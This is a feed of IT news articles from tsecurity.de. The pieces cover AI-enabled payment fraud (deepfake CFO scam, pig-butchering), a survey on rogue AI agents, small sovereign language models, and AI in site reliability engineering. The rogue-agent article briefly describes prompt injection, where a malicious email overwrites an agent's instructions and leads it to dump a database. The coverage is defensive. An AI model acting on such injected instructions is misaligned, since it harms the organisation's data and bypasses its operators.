<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What the World Cup can teach us about cybersecurity resilience]]></title>
<description><![CDATA[Future major events can’t rely on yesterday's playbook. Lessons from the World Cup show why true cyber resilience starts months before kickoff and extends far beyond stadium perimeters.
The post What the World Cup can teach us about cybersecurity resilience appeared first on CyberScoop.]]></description>
<link>https://tsecurity.de/de/3683329/it-security-nachrichten/what-the-world-cup-can-teach-us-about-cybersecurity-resilience/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683329/it-security-nachrichten/what-the-world-cup-can-teach-us-about-cybersecurity-resilience/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Future major events can’t rely on yesterday's playbook. Lessons from the World Cup show why true cyber resilience starts months before kickoff and extends far beyond stadium perimeters.</p>
<p>The post <a href="https://cyberscoop.com/world-cup-2026-major-event-cybersecurity-resilience-op-ed/">What the World Cup can teach us about cybersecurity resilience</a> appeared first on <a href="https://cyberscoop.com/">CyberScoop</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



